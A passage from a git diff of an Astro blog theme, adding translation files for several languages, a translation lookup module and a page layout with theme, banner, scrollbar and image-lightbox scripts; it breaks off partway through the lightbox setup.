||||
[Key.license]: "ライセンス",
|
||||
};
|
||||
38
src/i18n/languages/ko.ts
Normal file
38
src/i18n/languages/ko.ts
Normal file
@ -0,0 +1,38 @@
|
||||
import Key from "../i18nKey";
|
||||
import type { Translation } from "../translation";
|
||||
|
||||
export const ko: Translation = {
|
||||
[Key.home]: "홈",
|
||||
[Key.about]: "소개",
|
||||
[Key.archive]: "아카이브",
|
||||
[Key.search]: "검색",
|
||||
|
||||
[Key.tags]: "태그",
|
||||
[Key.categories]: "카테고리",
|
||||
[Key.recentPosts]: "최근 게시물",
|
||||
|
||||
[Key.comments]: "댓글",
|
||||
|
||||
[Key.untitled]: "제목 없음",
|
||||
[Key.uncategorized]: "분류되지 않음",
|
||||
[Key.noTags]: "태그 없음",
|
||||
|
||||
[Key.wordCount]: "단어",
|
||||
[Key.wordsCount]: "단어",
|
||||
[Key.minuteCount]: "분",
|
||||
[Key.minutesCount]: "분",
|
||||
[Key.postCount]: "게시물",
|
||||
[Key.postsCount]: "게시물",
|
||||
|
||||
[Key.themeColor]: "테마 색상",
|
||||
|
||||
[Key.lightMode]: "밝은 모드",
|
||||
[Key.darkMode]: "어두운 모드",
|
||||
[Key.systemMode]: "시스템 모드",
|
||||
|
||||
[Key.more]: "더 보기",
|
||||
|
||||
[Key.author]: "저자",
|
||||
[Key.publishedAt]: "게시일",
|
||||
[Key.license]: "라이선스",
|
||||
};
|
||||
38
src/i18n/languages/th.ts
Normal file
38
src/i18n/languages/th.ts
Normal file
@ -0,0 +1,38 @@
|
||||
import Key from "../i18nKey";
|
||||
import type { Translation } from "../translation";
|
||||
|
||||
export const th: Translation = {
|
||||
[Key.home]: "หน้าแรก",
|
||||
[Key.about]: "เกี่ยวกับ",
|
||||
[Key.archive]: "คลัง",
|
||||
[Key.search]: "ค้นหา",
|
||||
|
||||
[Key.tags]: "ป้ายกำกับ",
|
||||
[Key.categories]: "หมวดหมู่",
|
||||
[Key.recentPosts]: "โพสต์ล่าสุด",
|
||||
|
||||
[Key.comments]: "ความคิดเห็น",
|
||||
|
||||
[Key.untitled]: "ไม่ได้ตั้งชื่อ",
|
||||
[Key.uncategorized]: "ไม่ได้จัดหมวดหมู่",
|
||||
[Key.noTags]: "ไม่มีป้ายกำกับ",
|
||||
|
||||
[Key.wordCount]: "คำ",
|
||||
[Key.wordsCount]: "คำ",
|
||||
[Key.minuteCount]: "นาที",
|
||||
[Key.minutesCount]: "นาที",
|
||||
[Key.postCount]: "โพสต์",
|
||||
[Key.postsCount]: "โพสต์",
|
||||
|
||||
[Key.themeColor]: "สีของธีม",
|
||||
|
||||
[Key.lightMode]: "สว่าง",
|
||||
[Key.darkMode]: "มืด",
|
||||
[Key.systemMode]: "ตามระบบ",
|
||||
|
||||
[Key.more]: "ดูเพิ่ม",
|
||||
|
||||
[Key.author]: "ผู้เขียน",
|
||||
[Key.publishedAt]: "เผยแพร่เมื่อ",
|
||||
[Key.license]: "สัญญาอนุญาต",
|
||||
};
|
||||
38
src/i18n/languages/tr.ts
Normal file
38
src/i18n/languages/tr.ts
Normal file
@ -0,0 +1,38 @@
|
||||
import Key from "../i18nKey";
|
||||
import type { Translation } from "../translation";
|
||||
|
||||
export const tr: Translation = {
|
||||
[Key.home]: "Anasayfa",
|
||||
[Key.about]: "Hakkında",
|
||||
[Key.archive]: "Arşiv",
|
||||
[Key.search]: "Ara",
|
||||
|
||||
[Key.tags]: "Taglar",
|
||||
[Key.categories]: "Katagoriler",
|
||||
[Key.recentPosts]: "Son Paylaşımlar",
|
||||
|
||||
[Key.comments]: "Yorumlar",
|
||||
|
||||
[Key.untitled]: "Başlıksız",
|
||||
[Key.uncategorized]: "Katagorisiz",
|
||||
[Key.noTags]: "Tag Bulunamadı",
|
||||
|
||||
[Key.wordCount]: "kelime",
|
||||
[Key.wordsCount]: "kelime",
|
||||
[Key.minuteCount]: "dakika",
|
||||
[Key.minutesCount]: "dakika",
|
||||
[Key.postCount]: "gönderi",
|
||||
[Key.postsCount]: "gönderiler",
|
||||
|
||||
[Key.themeColor]: "Tema Rengi",
|
||||
|
||||
[Key.lightMode]: "Aydınlık",
|
||||
[Key.darkMode]: "Koyu",
|
||||
[Key.systemMode]: "Sistem",
|
||||
|
||||
[Key.more]: "Daha Fazla",
|
||||
|
||||
[Key.author]: "Yazar",
|
||||
[Key.publishedAt]: "Yayınlanma:",
|
||||
[Key.license]: "Lisans",
|
||||
};
|
||||
38
src/i18n/languages/vi.ts
Normal file
38
src/i18n/languages/vi.ts
Normal file
@ -0,0 +1,38 @@
|
||||
import Key from "../i18nKey";
|
||||
import type { Translation } from "../translation";
|
||||
|
||||
export const vi: Translation = {
|
||||
[Key.home]: "Trang chủ",
|
||||
[Key.about]: "Giới thiệu",
|
||||
[Key.archive]: "Kho bài",
|
||||
[Key.search]: "Tìm kiếm",
|
||||
|
||||
[Key.tags]: "Thẻ",
|
||||
[Key.categories]: "Danh mục",
|
||||
[Key.recentPosts]: "Bài viết mới nhất",
|
||||
|
||||
[Key.comments]: "Bình luận",
|
||||
|
||||
[Key.untitled]: "Không tiêu đề",
|
||||
[Key.uncategorized]: "Chưa phân loại",
|
||||
[Key.noTags]: "Chưa có thẻ",
|
||||
|
||||
[Key.wordCount]: "từ",
|
||||
[Key.wordsCount]: "từ",
|
||||
[Key.minuteCount]: "phút đọc",
|
||||
[Key.minutesCount]: "phút đọc",
|
||||
[Key.postCount]: "bài viết",
|
||||
[Key.postsCount]: "bài viết",
|
||||
|
||||
[Key.themeColor]: "Màu giao diện",
|
||||
|
||||
[Key.lightMode]: "Sáng",
|
||||
[Key.darkMode]: "Tối",
|
||||
[Key.systemMode]: "Hệ thống",
|
||||
|
||||
[Key.more]: "Thêm",
|
||||
|
||||
[Key.author]: "Tác giả",
|
||||
[Key.publishedAt]: "Đăng vào lúc",
|
||||
[Key.license]: "Giấy phép bản quyền",
|
||||
};
|
||||
38
src/i18n/languages/zh_CN.ts
Normal file
38
src/i18n/languages/zh_CN.ts
Normal file
@ -0,0 +1,38 @@
|
||||
import Key from "../i18nKey";
|
||||
import type { Translation } from "../translation";
|
||||
|
||||
export const zh_CN: Translation = {
|
||||
[Key.home]: "主页",
|
||||
[Key.about]: "关于",
|
||||
[Key.archive]: "归档",
|
||||
[Key.search]: "搜索",
|
||||
|
||||
[Key.tags]: "标签",
|
||||
[Key.categories]: "分类",
|
||||
[Key.recentPosts]: "最新文章",
|
||||
|
||||
[Key.comments]: "评论",
|
||||
|
||||
[Key.untitled]: "无标题",
|
||||
[Key.uncategorized]: "未分类",
|
||||
[Key.noTags]: "无标签",
|
||||
|
||||
[Key.wordCount]: "字",
|
||||
[Key.wordsCount]: "字",
|
||||
[Key.minuteCount]: "分钟",
|
||||
[Key.minutesCount]: "分钟",
|
||||
[Key.postCount]: "篇文章",
|
||||
[Key.postsCount]: "篇文章",
|
||||
|
||||
[Key.themeColor]: "主题色",
|
||||
|
||||
[Key.lightMode]: "亮色",
|
||||
[Key.darkMode]: "暗色",
|
||||
[Key.systemMode]: "跟随系统",
|
||||
|
||||
[Key.more]: "更多",
|
||||
|
||||
[Key.author]: "作者",
|
||||
[Key.publishedAt]: "发布于",
|
||||
[Key.license]: "许可协议",
|
||||
};
|
||||
38
src/i18n/languages/zh_TW.ts
Normal file
38
src/i18n/languages/zh_TW.ts
Normal file
@ -0,0 +1,38 @@
|
||||
import Key from "../i18nKey";
|
||||
import type { Translation } from "../translation";
|
||||
|
||||
export const zh_TW: Translation = {
|
||||
[Key.home]: "首頁",
|
||||
[Key.about]: "關於",
|
||||
[Key.archive]: "彙整",
|
||||
[Key.search]: "搜尋",
|
||||
|
||||
[Key.tags]: "標籤",
|
||||
[Key.categories]: "分類",
|
||||
[Key.recentPosts]: "最新文章",
|
||||
|
||||
[Key.comments]: "評論",
|
||||
|
||||
[Key.untitled]: "無標題",
|
||||
[Key.uncategorized]: "未分類",
|
||||
[Key.noTags]: "無標籤",
|
||||
|
||||
[Key.wordCount]: "字",
|
||||
[Key.wordsCount]: "字",
|
||||
[Key.minuteCount]: "分鐘",
|
||||
[Key.minutesCount]: "分鐘",
|
||||
[Key.postCount]: "篇文章",
|
||||
[Key.postsCount]: "篇文章",
|
||||
|
||||
[Key.themeColor]: "主題色",
|
||||
|
||||
[Key.lightMode]: "亮色",
|
||||
[Key.darkMode]: "暗色",
|
||||
[Key.systemMode]: "跟隨系統",
|
||||
|
||||
[Key.more]: "更多",
|
||||
|
||||
[Key.author]: "作者",
|
||||
[Key.publishedAt]: "發佈於",
|
||||
[Key.license]: "許可協議",
|
||||
};
|
||||
48
src/i18n/translation.ts
Normal file
48
src/i18n/translation.ts
Normal file
@ -0,0 +1,48 @@
|
||||
import { siteConfig } from "../config";
|
||||
import type I18nKey from "./i18nKey";
|
||||
import { en } from "./languages/en";
|
||||
import { es } from "./languages/es";
|
||||
import { id } from "./languages/id";
|
||||
import { ja } from "./languages/ja";
|
||||
import { ko } from "./languages/ko";
|
||||
import { th } from "./languages/th";
|
||||
import { tr } from "./languages/tr";
|
||||
import { vi } from "./languages/vi";
|
||||
import { zh_CN } from "./languages/zh_CN";
|
||||
import { zh_TW } from "./languages/zh_TW";
|
||||
|
||||
export type Translation = {
|
||||
[K in I18nKey]: string;
|
||||
};
|
||||
|
||||
const defaultTranslation = en;
|
||||
|
||||
const map: { [key: string]: Translation } = {
|
||||
es: es,
|
||||
en: en,
|
||||
en_us: en,
|
||||
en_gb: en,
|
||||
en_au: en,
|
||||
zh_cn: zh_CN,
|
||||
zh_tw: zh_TW,
|
||||
ja: ja,
|
||||
ja_jp: ja,
|
||||
ko: ko,
|
||||
ko_kr: ko,
|
||||
th: th,
|
||||
th_th: th,
|
||||
vi: vi,
|
||||
vi_vn: vi,
|
||||
id: id,
|
||||
tr: tr,
|
||||
tr_tr: tr,
|
||||
};
|
||||
|
||||
export function getTranslation(lang: string): Translation {
|
||||
return map[lang.toLowerCase()] || defaultTranslation;
|
||||
}
|
||||
|
||||
export function i18n(key: I18nKey): string {
|
||||
const lang = siteConfig.lang || "en";
|
||||
return getTranslation(lang)[key];
|
||||
}
|
||||
567
src/layouts/Layout.astro
Normal file
567
src/layouts/Layout.astro
Normal file
@ -0,0 +1,567 @@
|
||||
---
|
||||
import "@fontsource/roboto/400.css";
|
||||
import "@fontsource/roboto/500.css";
|
||||
import "@fontsource/roboto/700.css";
|
||||
|
||||
import ConfigCarrier from "@components/ConfigCarrier.astro";
|
||||
import { profileConfig, siteConfig } from "@/config";
|
||||
import {
|
||||
AUTO_MODE,
|
||||
BANNER_HEIGHT,
|
||||
BANNER_HEIGHT_EXTEND,
|
||||
BANNER_HEIGHT_HOME,
|
||||
DARK_MODE,
|
||||
DEFAULT_THEME,
|
||||
LIGHT_MODE,
|
||||
PAGE_WIDTH,
|
||||
} from "../constants/constants";
|
||||
import { defaultFavicons } from "../constants/icon";
|
||||
import type { Favicon } from "../types/config";
|
||||
import { pathsEqual, url } from "../utils/url-utils";
|
||||
import "katex/dist/katex.css";
|
||||
|
||||
interface Props {
|
||||
title?: string;
|
||||
banner?: string;
|
||||
description?: string;
|
||||
lang?: string;
|
||||
setOGTypeArticle?: boolean;
|
||||
}
|
||||
|
||||
let { title, banner, description, lang, setOGTypeArticle } = Astro.props;
|
||||
|
||||
// apply a class to the body element to decide the height of the banner, only used for initial page load
|
||||
// Swup can update the body for each page visit, but it's after the page transition, causing a delay for banner height change
|
||||
// so use Swup hooks instead to change the height immediately when a link is clicked
|
||||
const isHomePage = pathsEqual(Astro.url.pathname, url("/"));
|
||||
|
||||
// defines global css variables
|
||||
// why doing this in Layout instead of GlobalStyles: https://github.com/withastro/astro/issues/6728#issuecomment-1502203757
|
||||
const configHue = siteConfig.themeColor.hue;
|
||||
if (!banner || typeof banner !== "string" || banner.trim() === "") {
|
||||
banner = siteConfig.banner.src;
|
||||
}
|
||||
|
||||
// TODO don't use post cover as banner for now
|
||||
banner = siteConfig.banner.src;
|
||||
|
||||
const enableBanner = siteConfig.banner.enable;
|
||||
|
||||
let pageTitle: string;
|
||||
if (title) {
|
||||
pageTitle = `${title} - ${siteConfig.title}`;
|
||||
} else {
|
||||
pageTitle = `${siteConfig.title} - ${siteConfig.subtitle}`;
|
||||
}
|
||||
|
||||
const favicons: Favicon[] =
|
||||
siteConfig.favicon.length > 0 ? siteConfig.favicon : defaultFavicons;
|
||||
|
||||
// const siteLang = siteConfig.lang.replace('_', '-')
|
||||
if (!lang) {
|
||||
lang = `${siteConfig.lang}`;
|
||||
}
|
||||
const siteLang = lang.replace("_", "-");
|
||||
|
||||
const bannerOffsetByPosition = {
|
||||
top: `${BANNER_HEIGHT_EXTEND}vh`,
|
||||
center: `${BANNER_HEIGHT_EXTEND / 2}vh`,
|
||||
bottom: "0",
|
||||
};
|
||||
const bannerOffset =
|
||||
bannerOffsetByPosition[siteConfig.banner.position || "center"];
|
||||
---
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html lang={siteLang} class="bg-[var(--page-bg)] transition text-[14px] md:text-[16px]"
|
||||
data-overlayscrollbars-initialize
|
||||
>
|
||||
<head>
|
||||
|
||||
<title>{pageTitle}</title>
|
||||
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="description" content={description || pageTitle}>
|
||||
<meta name="author" content={profileConfig.name}>
|
||||
|
||||
<meta property="og:site_name" content={siteConfig.title}>
|
||||
<meta property="og:url" content={Astro.url}>
|
||||
<meta property="og:title" content={pageTitle}>
|
||||
<meta property="og:description" content={description || pageTitle}>
|
||||
{setOGTypeArticle ? (
|
||||
<meta property="og:type" content="article" />
|
||||
) : (
|
||||
<meta property="og:type" content="website" />
|
||||
)}
|
||||
|
||||
<meta name="twitter:card" content="summary_large_image">
|
||||
<meta property="twitter:url" content={Astro.url}>
|
||||
<meta name="twitter:title" content={pageTitle}>
|
||||
<meta name="twitter:description" content={description || pageTitle}>
|
||||
|
||||
<meta name="viewport" content="width=device-width" />
|
||||
<meta name="generator" content={Astro.generator} />
|
||||
{favicons.map(favicon => (
|
||||
<link rel="icon"
|
||||
href={favicon.src.startsWith('/') ? url(favicon.src) : favicon.src}
|
||||
sizes={favicon.sizes}
|
||||
media={favicon.theme && `(prefers-color-scheme: ${favicon.theme})`}
|
||||
/>
|
||||
))}
|
||||
|
||||
<!-- Set the theme before the page is rendered to avoid a flash -->
|
||||
<script is:inline define:vars={{DEFAULT_THEME, LIGHT_MODE, DARK_MODE, AUTO_MODE, BANNER_HEIGHT_EXTEND, PAGE_WIDTH, configHue}}>
|
||||
// Load the theme from local storage
|
||||
const theme = localStorage.getItem('theme') || DEFAULT_THEME;
|
||||
switch (theme) {
|
||||
case LIGHT_MODE:
|
||||
document.documentElement.classList.remove('dark');
|
||||
break
|
||||
case DARK_MODE:
|
||||
document.documentElement.classList.add('dark');
|
||||
break
|
||||
case AUTO_MODE:
|
||||
if (window.matchMedia('(prefers-color-scheme: dark)').matches) {
|
||||
document.documentElement.classList.add('dark');
|
||||
} else {
|
||||
document.documentElement.classList.remove('dark');
|
||||
}
|
||||
}
|
||||
|
||||
// Load the hue from local storage
|
||||
const hue = localStorage.getItem('hue') || configHue;
|
||||
document.documentElement.style.setProperty('--hue', hue);
|
||||
|
||||
// calculate the --banner-height-extend, which needs to be a multiple of 4 to avoid blurry text
|
||||
let offset = Math.floor(window.innerHeight * (BANNER_HEIGHT_EXTEND / 100));
|
||||
offset = offset - offset % 4;
|
||||
document.documentElement.style.setProperty('--banner-height-extend', `${offset}px`);
|
||||
</script>
|
||||
<style define:vars={{
|
||||
configHue,
|
||||
'page-width': `${PAGE_WIDTH}rem`,
|
||||
}}></style> <!-- defines global css variables. This will be applied to <html> <body> and some other elements idk why -->
|
||||
|
||||
|
||||
<slot name="head"></slot>
|
||||
|
||||
<link rel="alternate" type="application/rss+xml" title={profileConfig.name} href={`${Astro.site}rss.xml`}/>
|
||||
|
||||
</head>
|
||||
<body class=" min-h-screen transition " class:list={[{"lg:is-home": isHomePage, "enable-banner": enableBanner}]}
|
||||
data-overlayscrollbars-initialize
|
||||
>
|
||||
<ConfigCarrier></ConfigCarrier>
|
||||
<slot />
|
||||
|
||||
<!-- increase the page height during page transition to prevent the scrolling animation from jumping -->
|
||||
<div id="page-height-extend" class="hidden h-[300vh]"></div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
<style is:global define:vars={{
|
||||
bannerOffset,
|
||||
'banner-height-home': `${BANNER_HEIGHT_HOME}vh`,
|
||||
'banner-height': `${BANNER_HEIGHT}vh`,
|
||||
}}>
|
||||
@tailwind components;
|
||||
@layer components {
|
||||
.enable-banner.is-home #banner-wrapper {
|
||||
@apply h-[var(--banner-height-home)] translate-y-[var(--banner-height-extend)]
|
||||
}
|
||||
.enable-banner #banner-wrapper {
|
||||
@apply h-[var(--banner-height-home)]
|
||||
}
|
||||
|
||||
.enable-banner.is-home #banner {
|
||||
@apply h-[var(--banner-height-home)] translate-y-0
|
||||
}
|
||||
.enable-banner #banner {
|
||||
@apply h-[var(--banner-height-home)] translate-y-[var(--bannerOffset)]
|
||||
}
|
||||
.enable-banner.is-home #main-grid {
|
||||
@apply translate-y-[var(--banner-height-extend)];
|
||||
}
|
||||
.enable-banner #top-row {
|
||||
@apply h-[calc(var(--banner-height-home)_-_4.5rem)] transition-all duration-300
|
||||
}
|
||||
.enable-banner.is-home #sidebar-sticky {
|
||||
@apply top-[calc(1rem_-_var(--banner-height-extend))]
|
||||
}
|
||||
.navbar-hidden {
|
||||
@apply opacity-0 -translate-y-16
|
||||
}
|
||||
}
|
||||
</style>
|
||||
|
||||
<script>
|
||||
import 'overlayscrollbars/overlayscrollbars.css';
|
||||
import {
|
||||
OverlayScrollbars,
|
||||
// ScrollbarsHidingPlugin,
|
||||
// SizeObserverPlugin,
|
||||
// ClickScrollPlugin
|
||||
} from 'overlayscrollbars';
|
||||
import {getHue, getStoredTheme, setHue, setTheme} from "../utils/setting-utils";
|
||||
import {pathsEqual, url} from "../utils/url-utils";
|
||||
import {
|
||||
BANNER_HEIGHT,
|
||||
BANNER_HEIGHT_HOME,
|
||||
BANNER_HEIGHT_EXTEND,
|
||||
MAIN_PANEL_OVERLAPS_BANNER_HEIGHT
|
||||
} from "../constants/constants";
|
||||
import { siteConfig } from '../config';
|
||||
|
||||
/* Preload fonts */
|
||||
// (async function() {
|
||||
// try {
|
||||
// await Promise.all([
|
||||
// document.fonts.load("400 1em Roboto"),
|
||||
// document.fonts.load("700 1em Roboto"),
|
||||
// ]);
|
||||
// document.body.classList.remove("hidden");
|
||||
// } catch (error) {
|
||||
// console.log("Failed to load fonts:", error);
|
||||
// }
|
||||
// })();
|
||||
|
||||
/* TODO This is a temporary solution for style flicker issue when the transition is activated */
|
||||
/* issue link: https://github.com/withastro/astro/issues/8711, the solution get from here too */
|
||||
/* update: fixed in Astro 3.2.4 */
|
||||
/*
|
||||
function disableAnimation() {
|
||||
const css = document.createElement('style')
|
||||
css.appendChild(
|
||||
document.createTextNode(
|
||||
`*{
|
||||
-webkit-transition:none!important;
|
||||
-moz-transition:none!important;
|
||||
-o-transition:none!important;
|
||||
-ms-transition:none!important;
|
||||
transition:none!important
|
||||
}`
|
||||
)
|
||||
)
|
||||
document.head.appendChild(css)
|
||||
|
||||
return () => {
|
||||
// Force restyle
|
||||
;(() => window.getComputedStyle(document.body))()
|
||||
|
||||
// Wait for next tick before removing
|
||||
setTimeout(() => {
|
||||
document.head.removeChild(css)
|
||||
}, 1)
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
const bannerEnabled = !!document.getElementById('banner-wrapper')
|
||||
|
||||
function setClickOutsideToClose(panel: string, ignores: string[]) {
|
||||
document.addEventListener("click", event => {
|
||||
let panelDom = document.getElementById(panel);
|
||||
let tDom = event.target;
|
||||
if (!(tDom instanceof Node)) return; // Ensure the event target is an HTML Node
|
||||
for (let ig of ignores) {
|
||||
let ie = document.getElementById(ig)
|
||||
if (ie == tDom || (ie?.contains(tDom))) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
panelDom!.classList.add("float-panel-closed");
|
||||
});
|
||||
}
|
||||
setClickOutsideToClose("display-setting", ["display-setting", "display-settings-switch"])
|
||||
setClickOutsideToClose("nav-menu-panel", ["nav-menu-panel", "nav-menu-switch"])
|
||||
setClickOutsideToClose("search-panel", ["search-panel", "search-bar", "search-switch"])
|
||||
|
||||
|
||||
function loadTheme() {
|
||||
const theme = getStoredTheme()
|
||||
setTheme(theme)
|
||||
}
|
||||
|
||||
function loadHue() {
|
||||
setHue(getHue())
|
||||
}
|
||||
|
||||
function initCustomScrollbar() {
|
||||
const bodyElement = document.querySelector('body');
|
||||
if (!bodyElement) return;
|
||||
OverlayScrollbars(
|
||||
// docs say that a initialization to the body element would affect native functionality like window.scrollTo
|
||||
// but just leave it here for now
|
||||
{
|
||||
target: bodyElement,
|
||||
cancel: {
|
||||
nativeScrollbarsOverlaid: true, // don't initialize the overlay scrollbar if there is a native one
|
||||
}
|
||||
}, {
|
||||
scrollbars: {
|
||||
theme: 'scrollbar-base scrollbar-auto py-1',
|
||||
autoHide: 'move',
|
||||
autoHideDelay: 500,
|
||||
autoHideSuspend: false,
|
||||
},
|
||||
});
|
||||
|
||||
const katexElements = document.querySelectorAll('.katex-display') as NodeListOf<HTMLElement>;
|
||||
|
||||
const katexObserverOptions = {
|
||||
root: null,
|
||||
rootMargin: '100px',
|
||||
threshold: 0.1
|
||||
};
|
||||
|
||||
const processKatexElement = (element: HTMLElement) => {
|
||||
if (!element.parentNode) return;
|
||||
if (element.hasAttribute('data-scrollbar-initialized')) return;
|
||||
|
||||
const container = document.createElement('div');
|
||||
container.className = 'katex-display-container';
|
||||
container.setAttribute('aria-label', 'scrollable container for formulas');
|
||||
|
||||
element.parentNode.insertBefore(container, element);
|
||||
container.appendChild(element);
|
||||
|
||||
OverlayScrollbars(container, {
|
||||
scrollbars: {
|
||||
theme: 'scrollbar-base scrollbar-auto',
|
||||
autoHide: 'leave',
|
||||
autoHideDelay: 500,
|
||||
autoHideSuspend: false
|
||||
}
|
||||
});
|
||||
|
||||
element.setAttribute('data-scrollbar-initialized', 'true');
|
||||
};
|
||||
|
||||
const katexObserver = new IntersectionObserver((entries, observer) => {
|
||||
entries.forEach(entry => {
|
||||
if (entry.isIntersecting) {
|
||||
processKatexElement(entry.target as HTMLElement);
|
||||
observer.unobserve(entry.target);
|
||||
}
|
||||
});
|
||||
}, katexObserverOptions);
|
||||
|
||||
katexElements.forEach(element => {
|
||||
katexObserver.observe(element);
|
||||
});
|
||||
}
|
||||
|
||||
function showBanner() {
|
||||
if (!siteConfig.banner.enable) return;
|
||||
|
||||
const banner = document.getElementById('banner');
|
||||
if (!banner) {
|
||||
console.error('Banner element not found');
|
||||
return;
|
||||
}
|
||||
|
||||
banner.classList.remove('opacity-0', 'scale-105');
|
||||
}
|
||||
|
||||
function init() {
|
||||
// disableAnimation()() // TODO
|
||||
loadTheme();
|
||||
loadHue();
|
||||
initCustomScrollbar();
|
||||
showBanner();
|
||||
}
|
||||
|
||||
/* Load settings when entering the site */
|
||||
init();
|
||||
|
||||
const setup = () => {
|
||||
// TODO: temp solution to change the height of the banner
|
||||
/*
|
||||
window.swup.hooks.on('animation:out:start', () => {
|
||||
const path = window.location.pathname
|
||||
const body = document.querySelector('body')
|
||||
if (path[path.length - 1] === '/' && !body.classList.contains('is-home')) {
|
||||
body.classList.add('is-home')
|
||||
} else if (path[path.length - 1] !== '/' && body.classList.contains('is-home')) {
|
||||
body.classList.remove('is-home')
|
||||
}
|
||||
})
|
||||
*/
|
||||
window.swup.hooks.on('link:click', () => {
|
||||
// Remove the delay for the first time page load
|
||||
document.documentElement.style.setProperty('--content-delay', '0ms')
|
||||
|
||||
// prevent elements from overlapping the navbar
|
||||
if (!bannerEnabled) {
|
||||
return
|
||||
}
|
||||
let threshold = window.innerHeight * (BANNER_HEIGHT / 100) - 72 - 16
|
||||
let navbar = document.getElementById('navbar-wrapper')
|
||||
if (!navbar || !document.body.classList.contains('lg:is-home')) {
|
||||
return
|
||||
}
|
||||
if (document.body.scrollTop >= threshold || document.documentElement.scrollTop >= threshold) {
|
||||
navbar.classList.add('navbar-hidden')
|
||||
}
|
||||
})
|
||||
window.swup.hooks.on('content:replace', initCustomScrollbar)
|
||||
window.swup.hooks.on('visit:start', (visit: {to: {url: string}}) => {
|
||||
// change banner height immediately when a link is clicked
|
||||
const bodyElement = document.querySelector('body')
|
||||
if (pathsEqual(visit.to.url, url('/'))) {
|
||||
bodyElement!.classList.add('lg:is-home');
|
||||
} else {
|
||||
bodyElement!.classList.remove('lg:is-home');
|
||||
}
|
||||
|
||||
// increase the page height during page transition to prevent the scrolling animation from jumping
|
||||
const heightExtend = document.getElementById('page-height-extend')
|
||||
if (heightExtend) {
|
||||
heightExtend.classList.remove('hidden')
|
||||
}
|
||||
|
||||
// Hide the TOC while scrolling back to top
|
||||
let toc = document.getElementById('toc-wrapper');
|
||||
if (toc) {
|
||||
toc.classList.add('toc-not-ready')
|
||||
}
|
||||
});
|
||||
window.swup.hooks.on('page:view', () => {
|
||||
// hide the temp high element when the transition is done
|
||||
const heightExtend = document.getElementById('page-height-extend')
|
||||
if (heightExtend) {
|
||||
heightExtend.classList.remove('hidden')
|
||||
}
|
||||
});
|
||||
window.swup.hooks.on('visit:end', (_visit: {to: {url: string}}) => {
|
||||
setTimeout(() => {
|
||||
const heightExtend = document.getElementById('page-height-extend')
|
||||
if (heightExtend) {
|
||||
heightExtend.classList.add('hidden')
|
||||
}
|
||||
|
||||
// Just make the transition looks better
|
||||
const toc = document.getElementById('toc-wrapper');
|
||||
if (toc) {
|
||||
toc.classList.remove('toc-not-ready')
|
||||
}
|
||||
}, 200)
|
||||
});
|
||||
}
|
||||
if (window?.swup?.hooks) {
|
||||
setup()
|
||||
} else {
|
||||
document.addEventListener('swup:enable', setup)
|
||||
}
|
||||
|
||||
let backToTopBtn = document.getElementById('back-to-top-btn');
|
||||
let toc = document.getElementById('toc-wrapper');
|
||||
let navbar = document.getElementById('navbar-wrapper')
|
||||
function scrollFunction() {
|
||||
let bannerHeight = window.innerHeight * (BANNER_HEIGHT / 100)
|
||||
|
||||
if (backToTopBtn) {
|
||||
if (document.body.scrollTop > bannerHeight || document.documentElement.scrollTop > bannerHeight) {
|
||||
backToTopBtn.classList.remove('hide')
|
||||
} else {
|
||||
backToTopBtn.classList.add('hide')
|
||||
}
|
||||
}
|
||||
|
||||
if (bannerEnabled && toc) {
|
||||
if (document.body.scrollTop > bannerHeight || document.documentElement.scrollTop > bannerHeight) {
|
||||
toc.classList.remove('toc-hide')
|
||||
} else {
|
||||
toc.classList.add('toc-hide')
|
||||
}
|
||||
}
|
||||
|
||||
if (!bannerEnabled) return
|
||||
if (navbar) {
|
||||
const NAVBAR_HEIGHT = 72
|
||||
const MAIN_PANEL_EXCESS_HEIGHT = MAIN_PANEL_OVERLAPS_BANNER_HEIGHT * 16 // The height the main panel overlaps the banner
|
||||
|
||||
let bannerHeight = BANNER_HEIGHT
|
||||
if (document.body.classList.contains('lg:is-home') && window.innerWidth >= 1024) {
|
||||
bannerHeight = BANNER_HEIGHT_HOME
|
||||
}
|
||||
let threshold = window.innerHeight * (bannerHeight / 100) - NAVBAR_HEIGHT - MAIN_PANEL_EXCESS_HEIGHT - 16
|
||||
if (document.body.scrollTop >= threshold || document.documentElement.scrollTop >= threshold) {
|
||||
navbar.classList.add('navbar-hidden')
|
||||
} else {
|
||||
navbar.classList.remove('navbar-hidden')
|
||||
}
|
||||
}
|
||||
}
|
||||
window.onscroll = scrollFunction
|
||||
|
||||
window.onresize = () => {
|
||||
// calculate the --banner-height-extend, which needs to be a multiple of 4 to avoid blurry text
|
||||
let offset = Math.floor(window.innerHeight * (BANNER_HEIGHT_EXTEND / 100));
|
||||
offset = offset - offset % 4;
|
||||
document.documentElement.style.setProperty('--banner-height-extend', `${offset}px`);
|
||||
}
|
||||
|
||||
</script>
|
||||
|
||||
<script>
|
||||
import PhotoSwipeLightbox from "photoswipe/lightbox"
|
||||
import "photoswipe/style.css"
|
||||
|
||||
let lightbox: PhotoSwipeLightbox
|
||||
let pswp = import("photoswipe")
|
||||
|
||||
function createPhotoSwipe() {
|
||||
lightbox = new PhotoSwipeLightbox({
|
||||
gallery: ".custom-md img, #post-cover img",
|
||||
pswpModule: () => pswp,
|
||||
closeSVG: '<svg xmlns="http://www.w3.org/2000/svg" height="24px" viewBox="0 -960 960 960" width="24px" fill="#ffffff"><path d="M480-424 284-228q-11 11-28 11t-28-11q-11-11-11-28t11-28l196-196-196-196q-11-11-11-28t11-28q11-11 28-11t28 11l196 196 196-196q11-11 28-11t28 11q11 11 11 28t-11 28L536-480l196 196q11 11 11 28t-11 28q-11 11-28 11t-28-11L480-424Z"/></svg>',
|
||||
zoomSVG: '<svg xmlns="http://www.w3.org/2000/svg" height="24px" viewBox="0 -960 960 960" width="24px" fill="#ffffff"><path d="M340-540h-40q-17 0-28.5-11.5T260-580q0-17 11.5-28.5T300-620h40v-40q0-17 11.5-28.5T380-700q17 0 28.5 11.5T420-660v40h40q17 0 28.5 11.5T500-580q0 17-11.5 28.5T460-540h-40v40q0 17-11.5 28.5T380-460q-17 0-28.5-11.5T340-500v-40Zm40 220q-109 0-184.5-75.5T120-580q0-109 75.5-184.5T380-840q109 0 184.5 75.5T640-580q0 44-14 83t-38 69l224 224q11 11 11 28t-11 28q-11 11-28 11t-28-11L532-372q-30 24-69 38t-83 14Zm0-80q75 0 127.5-52.5T560-580q0-75-52.5-127.5T380-760q-75 0-127.5 52.5T200-580q0 75 52.5 127.5T380-400Z"/></svg>',
|
||||
padding: { top: 20, bottom: 20, left: 20, right: 20 },
|
